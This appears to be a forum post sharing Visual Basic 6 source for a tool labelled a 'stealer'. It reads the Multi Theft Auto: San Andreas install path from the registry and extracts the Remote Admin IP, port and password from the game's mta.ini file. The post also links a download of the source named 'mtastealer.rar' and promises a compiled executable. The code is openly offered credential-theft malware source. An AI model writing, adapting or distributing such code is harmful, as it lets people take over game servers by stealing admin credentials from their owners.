MTA BLUE admin reader

Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Public sapath As String 'get the stringy thingy
Public password As String
Public IP As String
Public PORT As String
Public drive As String
Public inipath As String

Private Sub Command1_Click()
List1.AddItem "IP: " & GetFromINI("Remote Admin", "IP", inipath)
List1.AddItem "Port: " & GetFromINI("Remote Admin", "Port", inipath)
List1.AddItem "Pass: " & GetFromINI("Remote Admin", "Password", inipath)
End Sub

Private Sub Form_Load()
GetSaPath
drive = Left(sapath, 1) 'C? D? lolz
Text1.Text = sapath
inipath = drive & ":/mta.ini"
End Sub

Public Function GetSaPath()
   Dim KeyPath As String
   KeyPath = "SOFTWARE\Multi Theft Auto: San Andreas"
   sapath = Trim(RegRead(KeyPath, "", HKEY_LOCAL_MACHINE))
End Function

Public Function GetFromINI(Section As String, Key As String, Directory As String) As String
 Dim strBuffer As String
 strBuffer = String(750, Chr(0))
 Key$ = LCase$(Key$)
 GetFromINI$ = Left(strBuffer, GetPrivateProfileString(Section$, ByVal Key$, "", strBuffer, Len(strBuffer), Directory$))
End Function

source code download is here:

http://www.massive-mapping.com/s0beit/coding/mta/mtastealer.rar

sorry no .exe file because my VB6 linker is fucked up, ill compile after i reinstall.